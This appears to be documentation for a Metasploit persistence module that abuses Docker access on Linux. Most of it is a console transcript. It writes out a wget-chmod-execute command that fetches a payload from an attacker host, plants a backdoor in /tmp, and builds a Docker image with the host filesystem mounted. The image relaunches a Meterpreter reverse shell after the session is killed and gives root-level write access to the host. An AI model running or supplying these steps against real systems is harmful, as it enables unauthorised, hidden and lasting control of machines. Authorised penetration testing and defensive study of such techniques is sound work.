Vulnerable Application
This module maintains persistence on a host by creating a docker image which runs our payload, and has access to the host's file system (/host in the container). Whenever the container restarts, the payload will run, or when the payload dies the executable will run again after a delay. This will allow for writing back into the host through cron entries, ssh keys, or other method.
Verified on Ubuntu 22.04.
Verification Steps
Start msfconsole
Get a Meterpreter session
use exploit/linux/persistence/docker_image
set SESSION [SESSION]
run
You should get a new session from within the docker image with /host
mounted from /
on the host.
Options
SLEEP
How many seconds the docker image should wait before checking if the session has died and trying to re-establish it. Default is 600
Scenarios
Ubuntu 22.04
Get a meterpreter session
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
Install Persistence
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > set session 1
session => 1
msf exploit(linux/persistence/docker_image) > check
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//DoEVqOGSMX
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
[+] Persistent image created: alpine_fslaxxlv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
[*] Stopping and removing temp container
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
Show the running docker container
msf exploit(linux/persistence/docker_image) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 16004 created.
Channel 21 created.
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon
exit
meterpreter > background
[*] Backgrounding session 1...
Kill meterpreter to show it restart automatically
msf exploit(linux/persistence/docker_image) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > exit
[*] Shutting down session: 2
[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
msf exploit(linux/persistence/docker_image) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
Show access to the host's OS.
msf exploit(linux/persistence/docker_image) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
PRETTY_NAME="Alpine Linux v3.22"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
meterpreter > cat /host/etc/os-release
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
meterpreter > shell
Process 19 created.
Channel 3 created.
touch /host/root/pwnd
ls -lah /host/root/pwnd
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd